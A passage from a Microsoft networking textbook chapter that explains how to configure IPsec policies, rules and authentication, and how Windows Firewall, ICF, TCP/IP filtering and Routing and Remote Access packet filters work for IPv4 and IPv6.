Policy change poll interval The number of minutes between consecutive polls for changes in IPsec
policies that are based on Active Directory. This polling does not detect changes in domain or
organizational unit membership or the assigning or unassigning of a new policy. These events are
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 374
detected when the Winlogon service polls for changes in Group Policy, which occurs by default every
90 minutes.
Figure 13-5 shows the General tab for the default Server (Request Security) IPsec policy.
Figure 13-5 The General tab of the properties of an IPsec policy
By clicking Settings, you can configure the following:
Key exchange settings
The way in which new keys are derived and how often they are renewed.
Key exchange methods
The ways in which identities are protected during the key exchange.
The default key exchange settings and methods are configured to work for most IPsec deployments.
Unless you have special security requirements, you should not need to change these default settings.
Figure 13-6 shows the Key Exchange Settings dialog box for the default Server (Request Security)
IPsec policy.
Figure 13-6 The Key Exchange Settings dialog box
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 375
Rules
An IPsec policy consists of one or more rules that determine IPsec behavior. You configure IPsec rules
on the Rules tab in the properties of an IPsec policy. For each IPsec rule, you can configure the
following items:
Filter list
You specify a single filter list that contains one or more predefined packet filters that describe the
types of traffic to which the configured filter action for this rule is applied.
Filter action
You specify a single filter action that includes the type of action required (permit, block, or secure)
for packets that match the filter list. For the secure filter action, the negotiation data contains one or
more security methods that are used (in order of preference) during IKE negotiations and other
IPsec settings. Each security method determines the security protocol (such as AH or ESP), the
specific cryptographic algorithms, and the settings for regenerating session keys used.
Authentication methods
You configure one or more authentication methods (in order of preference) for authenticating IPsec
peers during main mode negotiations. You can specify the Kerberos V5 protocol, use of a certificate
issued from a specified certification authority, or a preshared key.
Tunnel endpoint
You can specify whether the traffic is using tunnel mode and, if so, the IP address of the tunnel
endpoint. For outbound traffic, the tunnel endpoint is the IP address of the IPsec tunnel peer. For
inbound traffic, the tunnel endpoint is a local IP address.
Connection type
You can specify whether the rule applies to local area network (LAN) connections, dial-up
connections, or both.
Figure 13-7 shows the properties of a rule for the default Server (Request Security) IPsec policy.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 376
Figure 13-7 Properties of an IPsec rule
The rules for a policy appear in reverse alphabetical order based on the name of the filter list selected
for each rule. You cannot specify an order in which to apply the rules in a policy. The Windows
implementation of IPsec automatically derives a set of IPsec filters that specify IP traffic and the action
that IPsec has been configured to take for the traffic. IPsec filters are ordered based on the most
specific to the least specific IP traffic. For example, an IPsec filter that specifies individual IP addresses
and TCP ports is ordered before an IPsec filter that specifies all addresses on a subnet.
Default Response Rule
The default response rule, which can be used for all policies, has the IP filter list of <Dynamic> and the
filter action of Default Response when the list of rules is viewed with IP Security Policies. You cannot
delete the default response rule, but you can deactivate it. It is activated for all of the default policies,
and you can enable it when you create IPsec policies.
The default response rule ensures that the computer responds to requests for protected
communication. If an active policy does not have a rule defined for a computer that is requesting
protected communication, the default response rule is applied, and protection is negotiated. For
example, the default response rule is used when Computer A communicates with protection with
Computer B and Computer B does not have an inbound filter defined for Computer A.
You can configure authentication methods and the connection type for the default response rule. The
filter list of <Dynamic> indicates that the filter list is not configured, but filters are created automatically
when IKE negotiation packets are received. The filter action of Default Response indicates that you
cannot configure the action of the filter (permit, block, or negotiate security). However, you can
configure:
The security methods and their preference order. To configure these settings, obtain properties on the
IPsec policy, click the Rules tab, click the default response rule, click Edit, and then click the Security
Methods tab.
The authentication methods and their preference order. To configure these settings, click the default
response rule, click Edit, and click the Authentication Methods tab.
Filter List
An IP filter list triggers a filter action based on a match with the source, destination, and type of IP
traffic. This type of IP packet filtering enables a network administrator to precisely define what IP traffic
to allow, block, or protect. Each IP filter list contains one or more filters, which define IP addresses and
traffic types. You can use one IP filter list for multiple types of IP traffic.
For protected packets, IPsec requires you to configure both an inbound and outbound filter between the
computers specified in the filter list. Inbound filters apply to incoming traffic, enabling the receiving
computer to respond to requests for protected communication or to match traffic against the IP filter list.
Outbound filters apply to traffic leaving a computer toward a destination, triggering a security
negotiation that takes place before traffic is sent. For example, if Computer A wants to exchange
protected data with Computer B:
The active IPsec policy on Computer A must have a filter that specifies any outbound packets to
Computer B.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 377
The active IPsec policy on Computer A must have a filter that specifies any inbound packets from
Computer B.
Each peer must also have the reverse filter. For example:
The active IPsec policy on Computer B must have a filter that specifies any inbound packets from
Computer A.
The active IPsec policy on Computer B must have a filter that specifies any outbound packets to
Computer A.
Filter Settings
Each filter defines a particular subset of inbound or outbound network traffic. You must have a filter to
cover any traffic to which the associated rule applies. A filter can contain the following settings:
The source and destination address of the IP packet. You can configure any IP address assigned to the
IPsec peer, a single IP address, IP addresses by DNS name, or address ranges to specify IP subnets.
The protocol over which the packet is being transferred. This setting by default covers all protocols in
the TCP/IP protocol suite. However, you can configure the filter for an individual protocol to meet
special requirements, including custom protocols.
For TCP and UDP, the source and destination port of the protocol. By default, all TCP and UDP ports
are covered, but you can configure the filter to apply to only a specific TCP or UDP port.
Figure 13-8 shows the All ICMP Traffic filter list for the default Server (Request Security) IPsec
policy.
Figure 13-8 An example IP filter list
Filter Action
A filter action defines how the Windows implementation of IPsec must treat IP traffic. Figure 13-9 shows
the Require Security filter action for the default Server (Request Security) IPsec policy.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 378
Figure 13-9 An IPsec filter action
You can configure a filter action to:
Permit traffic (the Permit setting)
The Windows implementation of IPsec forwards the traffic without modification or protection. This
setting is appropriate for traffic from specific computers that cannot support IPsec.
Block traffic (the Block setting)
IPsec silently discards this traffic.
Negotiate IPsec (the Negotiate Security setting)
IPsec requires the sender and receiver to negotiate SAs and to send and receive IPsec-protected
traffic. After you choose to negotiate IPsec, you can also do the following:
Specify security methods and their order
Allow initial incoming unprotected traffic (the Accept unsecured communication, but always
respond using IPsec setting)
If you configure this setting, IPsec allows an incoming packet that matches the configured filter
list to be unprotected by IPsec. However, the outgoing response to the incoming packet must
be protected. This behavior is also known as inbound pass-through.
This setting is useful when you are using the default response rule for clients. For example, a
group of servers are configured with a rule that protects communications with any IP address,
accepts communication that is not protected, and responds with only protected
communications. To ensure that the clients will respond to the server request to negotiate
security, you must enable the default response rule on client computers.
Enable communication with computers on which IPsec is not enabled (the Allow unsecured
communication with non-IPsec-aware computer setting)
If you configure this setting, IPsec falls back to unprotected communication, if necessary. This
behavior is known as fallback to clear.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 379
You can use this setting to allow communication with computers that cannot initiate IPsec, such
as computers running Microsoft operating systems older than Windows 2000.
Generate session keys from new keying material (the Session key perfect forward secrecy
(PFS) setting)
This setting determines whether a new session key can be derived from existing material for
keying a master key determined from a main mode negotiation. By enabling session key PFS,
you ensure that master key keying material cannot be used to derive more than one session
key. When session key PFS is enabled, a new Diffie-Hellman key exchange is performed to
generate new master key keying material before the new session key is created. Session key
PFS does not require main mode reauthentication and uses fewer resources than master key
PFS.
IPsec Security Methods
Each security method defines the security requirements of any communications to which the associated
rule applies. By creating multiple security methods, you increase the chance that a common method
can be found between two computers. The IKE component reads the list of security methods in
descending order and sends a list of allowed security methods to the other peer. The first method in
common is selected. Typically, the methods with the most cryptographic strength are at the top of the
list and the methods with the least cryptographic strength are at the bottom of the list.
The following security methods are predefined:
Encryption and integrity Uses ESP to provide data confidentiality (encryption), data integrity and data
origin authentication, and default key lifetimes (100MB, 1 hour). If you require both data and addressing
(IP header) protection, you can create a custom security method. If you do not require encryption, you
can use Integrity only.
Integrity only Uses ESP to provide data integrity and authentication and default key lifetimes (100MB,
1 hour). In this configuration, ESP does not provide data confidentiality (encryption). This method is
appropriate when your security plan calls for standard levels of security.
Figure 13-10 shows the New Security Method tab, which appears when you add a security method to
a filter action.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 380
Figure 13-10 The New Security Method tab
Custom Security Methods
If the predefined Encryption and integrity or Integrity only settings do not meet your security
requirements, you can specify custom security methods. For example, you can use custom methods to
specify encryption and address integrity, stronger algorithms, or key lifetimes.
When you configure a custom security method, you can specify the following:
Security protocols
You can enable both AH and ESP in a custom security method when you require IP header
integrity and data encryption. If you chose to enable both, you do not need to specify an integrity
algorithm for ESP. The algorithm that you select for AH provides integrity.
Integrity algorithm
Encryption algorithm
Session key settings
Session key settings determine when a new key is generated, rather than how it is generated. You
can specify a lifetime in kilobytes, seconds, or both. For example, if the communication takes
10,000 seconds and you specify the key lifetime as 1000 seconds, 10 keys will be generated to
complete the transfer. This approach ensures that, even if an attacker manages to determine one
session key and decipher part of a communication, deciphering the entire communication is not
possible. By default, new session keys are generated for every 100 MB of data transferred or every
hour.
Figure 13-11 shows the Custom Security Method Settings dialog box, which appears when you add
a custom security method to a filter action.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 381
Figure 13-11 The Custom Security Methods dialog box
Authentication
Each IPsec rule defines a list of authentication methods. Each authentication method defines the
requirements for how identities are verified in protected communications to which the associated rule
applies. The two peers must have at least one authentication method in common or communication will
fail. By creating multiple authentication methods, you increase the chance that the two computers can
find a common method.
Only one authentication method can be used between a pair of computers, regardless of how many you
configure. If you have multiple rules that apply to the same pair of computers, you must configure the
authentication methods lists in those rules to enable the pair to use the same method. For example,
authentication will fail if a rule between a pair of computers specifies only Kerberos for authentication
and filters only TCP data and another rule specifies only certificates for authentication and filters only
UDP data.
IPsec supports the following authentication methods:
Kerberos V5 The Kerberos V5 security protocol is the default authentication method for clients that are
running the Kerberos V5 protocol and that are members of the same or trusted Active Directory
domains.
Kerberos V5 authentication is not supported on computers running Windows XP Home Edition or
computers running any other Windows 2000, Windows XP, or Windows Server 2003 operating
system that are not members of an Active Directory domain.
Public key certificate You should use a public key certificate in situations that include Internet access,
access to corporate resources from remote locations, communications with external business partners,
or computers that do not run the Kerberos V5 security protocol. This method requires you to obtain
certificates from at least one trusted certification authority (CA). Computers running Windows
Server 2003, Windows XP, or Windows 2000 support X.509 Version 3 certificates, including certificates
generated by commercial CAs.
Preshared key This method involves a shared, secret key similar to a password. It is simple to use
and does not require the client to run the Kerberos V5 protocol or have a public key certificate. Both
parties must manually configure IPsec to use this preshared key. Preshared key is a simple method for
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 382
authenticating computers that are not running Windows Server 2003, Windows XP, or Windows 2000;
stand-alone computers; or any computers that are not using the Kerberos V5 protocol. This key is for
peer authentication protection only and is not used to protect the data sent between IPsec peers.
Tunnel Endpoint
IPsec tunnels help protect entire IP packets. You configure the tunnel to help protect traffic between
either two IP addresses or two IP subnets. If you configure the tunnel between two computers instead
of two routers (also known as gateways), the IP address outside the AH or ESP payload is the same as
the IP address inside the AH or ESP payload.
IPsec can perform layer 3 tunneling for scenarios in which Layer Two Tunneling Protocol (L2TP) cannot
be used. You do not need to configure a tunnel if you are using L2TP for remote communications
because the client and server virtual private networking (VPN) components of Windows automatically
create the appropriate rules to protect L2TP traffic.
To create a layer 3 tunnel using IPsec, use IP Security Policies or Group Policy to configure and enable
the following two rules for the appropriate policy:
1. A rule for outbound traffic through the tunnel.
You configure the rule for outbound traffic with both a filter list, which describes the traffic to be sent
across the tunnel, and a tunnel endpoint, which is an IP address assigned to the IPsec tunnel peer
(the computer or router on the other side of the tunnel).
2. A rule for inbound traffic through the tunnel.
You configure the rule for inbound traffic with both a filter list, which describes the traffic to be
received across the tunnel, and a tunnel endpoint, which is a local IP address (the computer or router
on this side of the tunnel).
For each rule, you must also specify filter actions, authentication methods, and other settings.
Connection Type
For each IPsec rule, you must define to which connection types on your computer the rule will apply.
The connection types include all connections in Network Connections on the computer for which you
are configuring IPsec policy.
Each rule has one connection type setting:
All Network Connections The rule applies to communications sent through any network connection
that you have configured on the computer.
Local Area Network (LAN) The rule applies only to communications sent through LAN connections
that you have configured on the computer.
Remote Access The rule applies only to communications sent through any remote access or dial-up
connections that you have configured on the computer.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 383
IPsec for IPv6 Traffic
Windows Vista and Windows Server 2008 include the same support for IPv6 traffic as IPv4 traffic. You
can use either the Windows Firewall with Advanced Security or IP Security Policy Management snap-
ins to configure IPsec settings to protect IPv6 traffic.
However, the IPv6 protocol for Windows Server 2003 and Windows XP has the following limitations:
Supports AH in transport or tunnel mode using MD5 or SHA1 and ESP in transport or tunnel mode
using the NULL ESP header and MD5 or SHA1. IPv6 does not support ESP data encryption.
Is separate from—and not interoperable with—IPsec for the IPv4 protocol. IPsec policies that are
configured with IP Security Policies or Group Policy have no effect on IPv6 traffic.
Does not support the use of IKE to negotiate SAs. You must use the Ipsec6.exe tool to manually
configure IPsec policies, SAs, and encryption keys. For more information, see Help and Support in
Windows XP or Windows Server 2003.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 384
Packet Filtering
In addition to using IPsec filter actions to perform packet filtering, computers running Windows Vista,
Windows XP, Windows Server 2008, or Windows Server 2003 support Windows Firewall. Computers
running Windows Server 2003 or Windows XP also support the Internet Connection Firewall and
TCP/IP filtering.
On computers running Windows Server 2008 or Windows Server 2003 with Routing and Remote
Access, you can also use IP packet filtering. On computers running Windows Server 2003 with no
service packs installed and Routing and Remote Access, you can also use the Basic Firewall
component.
Windows Firewall
A firewall is a protective boundary between a computer or network and the outside world. Windows
Firewall is a stateful host firewall for IPv4 and IPv6 traffic in Windows Vista, Windows Server 2008,
Windows XP with Service Pack 2 (SP2) and later, and Windows Server 2003 with Service Pack 1 (SP1)
and later. This feature allows incoming traffic only if it is either solicited (sent in response to a request of
the computer) or excepted (unsolicited traffic that has been specified as allowable). Windows Firewall
provides a level of protection from malicious users and programs that use unsolicited traffic to attack
computers. Windows Firewall in Windows Vista and Windows Server 2008 can also block outgoing
traffic. Windows Firewall in Windows XP and Windows Server 2003 does not block outgoing traffic, with
the exception of some Internet Control Message Protocol (ICMP) messages.
Windows Firewall is designed for use on all network connections, including those that are accessible
from the Internet, connected to small office/home office networks, or connected to private organization
networks. An organization network's firewall, proxy, and other security systems provide some level of
protection from the Internet to intranet network computers. However, the absence of host firewalls such
as Windows Firewall on intranet connections leaves computers vulnerable to malicious programs
brought onto the intranet by mobile computers.
For example, an employee connects an organization laptop to a home network that does not have
adequate protections. Because the organization laptop does not have a host firewall enabled on its
network connection, the laptop gets infected with a malicious program (such as a virus or worm) that
uses unsolicited traffic to spread to other computers. The employee then brings the infected laptop back
to the office and connects it to the organization intranet, effectively bypassing the security systems that
are at the edge of the intranet. While connected to the intranet, the malicious program begins to infect
other computers. If Windows Firewall were enabled by default, the laptop computer might not get
infected with the malicious program when connected to the home network. Even if the laptop computer
did get infected, the local intranet computers might not become infected when the laptop computer
connected to the intranet, because they also have Windows Firewall enabled.
If the computers running Windows are running client-based programs, enabling Windows Firewall does
not impair communications. Web access, e-mail, Group Policy, and management agents that request
updates from a management server are examples of client-based programs. For client-based
programs, the client computer always initiates the communication, and the firewall allows all response
traffic from a server because it is solicited incoming traffic.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 385
In Windows Vista, Windows XP with SP2 and later, and Windows Server 2008, Windows Firewall is
enabled by default on all network connections. For Windows Vista and Windows Server 2008, you can
configure exceptions (known as rules) from the Windows Firewall with Advanced Security snap-in or
from commands in the netsh advfirewall context.
Configuring Rules with the Windows Firewall with Advanced Security Snap-in
Inbound and outbound traffic rules in the Windows Firewall with Advanced Security snap-in specify
what traffic to allow or block, and provide a highly simplified way to configure exception settings. There
is a default set of inbound and outbound rules that you can enable, disable, or customize.
To enable an existing rule, right-click the rule in the list of rules, and then click Enable Rule. To disable
an existing rule, right-click the rule, and then click Disable Rule. To modify an existing rule, double-click
the rule and configure its settings. Predefined rules can only be enabled or disabled, not modified.
To create a new rule, do the following:
1. From the console tree of the Windows Firewall with Advanced Security snap-in, right-click Inbound
Rules or Outbound Rules, and then click New Rule.
2. Follow the pages of the New Inbound Rule or New Outbound Rule wizard to configure a rule for a
common scenario or a custom rule.
Configuring Windows Firewall with Control Panel
For the Windows Firewall in Windows XP with Service Pack 2 (SP2) and later and Windows
Server 2003 with Service Pack 1 (SP1) and later, you can configure exceptions from the Windows
Firewall item in Control Panel. Figure 13-12 shows the Windows Firewall dialog box that was
introduced in Windows XP with SP2.
Figure 13-12 The Windows Firewall dialog box in Windows XP with SP2
The Windows Firewall dialog box has the following tabs:
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 386
The General tab, from which you can enable, enable but do not allow any exceptions, or disable
Windows Firewall.
The Exceptions tab, from which you can specify exceptions for allowed incoming traffic. You can
specify these exceptions by TCP or UDP port or by program name.
The Advanced tab, from which you can enable and disable Windows Firewall on individual interfaces,
configure advanced settings on individual interfaces, and configure logging and ICMP options.
How Windows Firewall Works
Windows Firewall is a stateful, host-based firewall for incoming traffic. Windows Firewall performs a
different purpose from that of a router-based firewall, which is deployed at a boundary between a
private network and the Internet. A router-based firewall protects traffic that is sent to the router as an
intermediate stop between the traffic’s source and its destination. Windows Firewall, on the other hand,
acts as a firewall for traffic that is destined for the same computer on which Windows Firewall is
running.
Windows Firewall operates according to the following process:
Windows Firewall inspects each incoming packet and compares it to a list of allowed traffic. If the
packet matches an entry in the list, Windows Firewall passes the packet to the TCP/IP protocol for
further processing. If the packet does not match an entry in the list, Windows Firewall silently discards
the packet and, if logging is enabled, creates an entry in the Windows Firewall logging file.
You specify traffic in the exceptions list using IP addresses, TCP ports, and UDP ports. For Windows
Firewall in Windows XP and Windows Server 2003, you cannot specify traffic based on the IP Protocol
field in the IP header.
The list of allowed traffic is populated in two ways:
When the connection on which Windows Firewall is enabled sends a packet, Windows Firewall creates
an entry in the list so that any response to the traffic will be allowed. The response traffic is incoming
solicited traffic.
For example, if a host sends a Domain Name System (DNS) Name Query Request message to a
DNS server, Windows Firewall adds an entry so that, when the DNS server sends a DNS Name
Query Response message, it can be passed to the TCP/IP protocol for further processing. This
behavior makes the Windows Firewall a stateful firewall because it maintains state information
about the traffic initiated by the local computer so that the corresponding incoming response traffic
will be allowed.
When you configure Windows Firewall to allow exceptions, the excepted traffic is added to the list. This
capability allows a computer using Windows Firewall to accept unsolicited incoming traffic when acting
as a server, a listener, or a peer.
For example, if your computer is acting as a Web server, you must configure Windows Firewall to
allow Web traffic so that the local computer can respond to requests from Web clients. You can
configure exceptions based on programs or on TCP or UDP ports. For program-based exceptions,
Windows Firewall automatically adds ports to the exceptions list when requested by the program
and when it is running and removes them when requested by the program or when the program
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 387
stops running. For port-based exceptions, the ports are opened whether the application or service
using them is running or not.
Internet Connection Firewall (ICF)
ICF, a stateful host firewall for IPv4 traffic, is provided in Windows XP with no service packs installed,
Windows XP with SP1, and Windows Server 2003 with no service packs installed. You should enable
ICF on the Internet connection of any computer that is running one of these operating systems and
connected directly to the Internet.
When ICF has been enabled on a network connection, the network connection icon in Network
Connections appears with a lock and a status of Enabled, Firewalled. Figure 13-13 shows an example
in which ICF is enabled on a network connection named Internet.
Figure 13-13 Example of a connection in Network Connections on which ICF has been enabled
You can manually enable ICF from the Network Connections folder by doing the following:
1. Click Start, click Control Panel, click Network and Internet Connections, and then click Network
Connections.
2. Right-click the network connection that is connected to the Internet, and then click Properties.
3. On the Advanced tab, select the Protect My Computer And Network By Limiting Or Preventing
Access To This Computer From The Internet check box.
4. Click OK to save changes to your connection.
You can perform advanced configuration of ICF by clicking Settings on the Advanced tab in the
properties dialog box of a network connection. Figure 13-14 shows the Advanced Settings dialog box
for ICF.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 388
Figure 13-14 The Advanced Settings dialog box for configuring ICF
The Advanced Settings dialog box has the following tabs:
The Services tab, from which you can configure service definitions to allow excepted traffic.
The Security Logging tab, from which you can configure options for the firewall log file. By default, the
firewall log file is named Pfirewall.log and stored in your main Windows folder.
The ICMP tab, from which you can specify the types of incoming ICMP messages that ICF allows.
ICMP messages are used for diagnostics, reporting error conditions, and configuration. By default, no
ICMP messages are allowed.
TCP/IP Filtering
TCP/IP for Windows Server 2003 and Windows XP supports TCP/IP filtering, which you can use to
specify exactly which types of incoming IP traffic destined for a computer are processed for each IP
interface. Incoming IP traffic destined for a computer, also known as local host or locally destined traffic,
includes all packets sent to a unicast address assigned to the interface, any of the different kinds of IP
broadcast addresses, and IP multicast addresses to which the host is listening. This feature isolates the
traffic that Internet and intranet servers process in the absence of other TCP/IP filtering provided by
Routing and Remote Access or other TCP/IP applications or services. TCP/IP filtering is disabled by
default.
You can use a single check box to enable or disable TCP/IP filtering for all adapters. This approach can
help troubleshoot connectivity problems that might be related to filtering. Filters that are too restrictive
might not allow expected kinds of connectivity. For example, if you specify a list of UDP ports and do
not include UDP port 520, your computer will not receive Routing Information Protocol (RIP)
announcements. This limitation can impair the computer's ability to be a RIP router or a silent RIP host
when using the RIP Listener service.
A packet is accepted for processing if it meets any of the following criteria:
The destination TCP port matches the list of TCP ports. By default, traffic to all TCP ports are permitted.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 389
The destination UDP port matches the list of UDP ports. By default, traffic to all UDP ports are
permitted.
The IP protocol matches the list of IP protocols. By default, all IP protocols are permitted.
The packet is an ICMP packet.
You cannot filter ICMP traffic with TCP/IP filtering. If you need ICMP filtering, you must configure IP
packet filters through Routing and Remote Access.
To configure TCP/IP filtering on a network connection, do the following:
1. Click Start, click Control Panel, and then double-click Network Connections.
2. Right-click the network connection you want to configure, and then click Properties.
3. On the General tab (for a local area connection) or the Networking tab (for all other connections),
click Internet Protocol (TCP/IP), and then click Properties.
4. Click Advanced.
5. Click Options, click TCP/IP Filtering, and then click Properties.
6. Do one of the following:
To enable TCP/IP filtering for all adapters, select the Enable TCP/IP filtering (all adapters) check
box.
To disable TCP/IP filtering for all adapters, clear the Enable TCP/IP filtering (all adapters) check
box.
7. Based on your requirements for TCP/IP filtering, configure TCP ports, UDP ports, or IP protocols for
the allowed traffic.
Figure 13-15 shows the TCP/IP Filtering dialog box.
Figure 13-15 The TCP/IP Filtering dialog box
Packet Filtering with Routing and Remote Access
Using Routing and Remote Access, you can filter IP-based traffic in two ways:
Basic Firewall
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 390
Basic Firewall, which you enable through the NAT/Basic Firewall routing protocol component, is a
stateful firewall that, like ICF, automatically discards unsolicited incoming IPv4 packets. Basic
Firewall is only supported in Windows Server 2003 with no service packs installed.
IP packet filters
By using IP packet filters, you can specify the exact set of IPv4 packets that are either allowed or
discarded. Packet filters affect both incoming and outgoing packets on a per-interface basis.
Basic Firewall
You can use Basic Firewall to help protect your network from unsolicited public network traffic, such as
traffic sent from the Internet. You can enable Basic Firewall for any public interface, including one that
also provides network address translation for your network.
To enable Basic Firewall on a public interface, do the following:
1. In the console tree of the Routing and Remote Access snap-in, open the name of your server, then
click IP Routing, and then click NAT/Basic Firewall.
2. In the details pane, right-click the interface you want to configure, and then click Properties.
3. On the NAT/Basic Firewall tab, do one of the following:
Click Public interface connected to the Internet, and select the Enable a basic firewall on this
interface check box.
Click Basic firewall only.
Figure 13-16 shows the Network Address Translation Properties dialog box.
Figure 13-16 The Network Address Translation Properties dialog box
The Basic Firewall was replaced with Windows Firewall in Windows Server 2003 SP1 and later.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 391
IP Packet Filtering
By using IP packet filtering in Routing and Remote Access, you can precisely define what IPv4 traffic is
received and sent. To use IP packet filtering, you must create a series of definitions called filters, which
define for the router what types of traffic to allow or discard on each interface. You can set filters for
incoming and outgoing traffic.
Input filters define what incoming traffic on that interface the router is allowed to forward or process.
Output filters define what traffic the router is allowed to forward or send from that interface.
Because you can configure both input and output filters for each interface, you can also create
contradictory filters. For example, the input filter on one interface might allow the incoming traffic, but
the output filter on the other interface does not allow the same traffic to be sent. The end result is that
the traffic is not passed across the router running Windows Server 2008 or Windows Server 2003.
You can also implement packet filtering to filter incoming and outgoing traffic to a specific subset of
traffic on a computer that is running Windows Server 2008 or Windows Server 2003 but that is not
configured as a router.
You should implement packet filters carefully to prevent the filters from being too restrictive, which
would impair the functionality of other protocols that might be operating on the computer. For example,
if a computer running Windows Server 2008 or Windows Server 2003 is also running Internet
Information Services (IIS) as a Web server and packet filters are defined so that only Web-based traffic
is allowed, you cannot use the ping command (which uses ICMP Echo and Echo Reply messages) to
perform basic IP troubleshooting. If the Web server is a silent RIP host, the filters prevent the silent RIP
process from receiving the RIP announcements.
To configure IPv4 packet filters on an interface, do the following:
1. In the console tree of the Routing and Remote Access snap-in, open the name of your server, open
IPv4 or IP Routing, and then click General.
2. In the details pane, right-click the interface on which you want to add a filter, and then click
Properties.
3. On the General tab, click Inbound Filters to configure filters for incoming IPv4 traffic to the interface
or Outbound Filters to configure filters for outgoing IPv4 traffic from the interface.
Figure 13-17 shows an example of adding an IPv4 packet filter.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 392
Figure 13-17 The Add IP Filter dialog box
You can configure the following settings on an IPv4 packet filter:
You can specify the IP Protocol, which is the identifier for an upper layer protocol. For example, TCP
uses a Protocol of 6, UDP uses a Protocol of 17, and ICMP uses a Protocol of 1.
You can specify the Source IP Address, which is the IP address of the source host. You can configure
this address with a subnet mask to specify an entire range of IP addresses (corresponding to an IP
subnet or address prefix) with a single filter entry.
You can specify the Destination IP Address, which is the IP address of the destination host. You can
configure this address with a subnet mask to specify an entire range of IP addresses (corresponding to
an IP subnet or address prefix) with a single filter entry.
For TCP traffic, you can specify the values for two fields: the TCP Source Port field, which identifies the
source process that is sending the TCP segment, and the TCP Destination Port, which identifies the
destination process for the TCP segment.
For UDP traffic, you can specify the values for two fields: the UDP Source Port field, which identifies the
source process that is sending the UDP message and the UDP Destination Port, which identifies the
destination process for the UDP message.
For ICMP traffic, you can specify the values for two fields: the ICMP Type field, which identifies the type
of ICMP packet (such as Echo or Echo Reply) and the ICMP Code field, which identifies one of the
possible multiple functions within a specified type. If only one function exists within a type, the Code
field is set to 0.
IPv6 Packet Filtering
You can perform packet filtering for IPv6 traffic with the following:
Windows Firewall
IPv6 packet filtering with Routing and Remote Access
Basic IPv6 firewall
IPv6 ICF
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 393
Windows Firewall
Windows Firewall in Windows Vista, Windows XP with SP2 and later, Windows Server 2008, and
Windows Server 2003 with SP1 and later supports IPv6 traffic. You can configure exceptions for IPv6
traffic with the Windows Firewall with Advanced Security snap-in and the Windows Firewall item in
Control Panel.
For exceptions in the Windows Firewall Control Panel item, IPv4 and IPv6 traffic can share settings for
excepted traffic. For example, if you allow file and print sharing traffic, then both IPv4-based and IPv6-
based unsolicited incoming file and print sharing traffic is allowed.
IPv6 Packet Filtering with Routing and Remote Access
Just like IPv4 packet filtering, Routing and Remote Access in Windows Server 2008 allows you to
specify what types of IPv6 traffic to allow or discard on each interface. You can set filters for incoming
and outgoing traffic.
To configure IPv6 packet filters on an interface, do the following:
1. In the console tree of the Routing and Remote Access snap-in, open the name of your Windows
Server 2008 server, open IPv6, and then click General.
2. In the details pane, right-click the interface on which you want to add a filter, and then click
Properties.
3. On the General tab, click Inbound Filters to configure filters for incoming IPv6 traffic to the interface
or Outbound Filters to configure filters for outgoing IPv6 traffic from the interface.
When specifying a source or destination IPv6 address, you must configure an address prefix and a
prefix length.
Basic IPv6 Firewall
IPv6 for Windows Server 2003 with no service packs installed includes support for a basic firewall on
IPv6 interfaces. When enabled, IPv6 drops incoming TCP Synchronize (SYN) segments and drops all
incoming unsolicited UDP messages. This firewall is disabled by default on all interfaces and can be
enabled with the netsh interface ipv6 set interface interface=NameOrIndex firewall=enabled
command. The basic IPv6 firewall is not related to the Basic Firewall feature of Routing and Remote
Access. The basic IPv6 firewall was replaced with Windows Firewall.
IPv6 ICF
The Advanced Networking Pack for Windows XP is a free download available from Microsoft for
computers running Windows XP with SP1. This download includes IPv6 ICF, which is a stateful IPv6
firewall. You can use IPv6 ICF to dynamically restrict traffic allowed from the Internet. IPv6 ICF is
different from the existing ICF in Windows XP, which filters IPv4 traffic. IPv6 ICF does the following:
Runs automatically and filters traffic through all network connections on which IPv6 is enabled.
Monitors all outbound traffic and dynamically filters for incoming response traffic. This behavior is
known as stateful filtering. IPv6 ICF silently discards all unsolicited incoming traffic.
Logs IPv6 traffic events to a separate log file (from IPv4 ICF). By default, this log file is located at:
Systemroot\Pfirewall-v6.log).
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 394
You can configure IPv6 ICF by using commands in the netsh firewall context. You can use Netsh
commands to configure IPv6 ICF to allow specific types of ICMPv6 traffic or traffic to specific TCP or
UDP ports. IPv6 ICF was replaced with Windows Firewall.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 395
Chapter Summary
The chapter includes the following pieces of key information:
Internet Protocol security (IPsec) is a framework of open standards for helping ensure private, protected
communications over IP networks. You can use IPsec in Windows to block, permit, or cryptographically
protect IP traffic.
IPsec provides data integrity, confidentiality (encryption), data origin authentication, and anti-replay
security properties for IP-based communications.
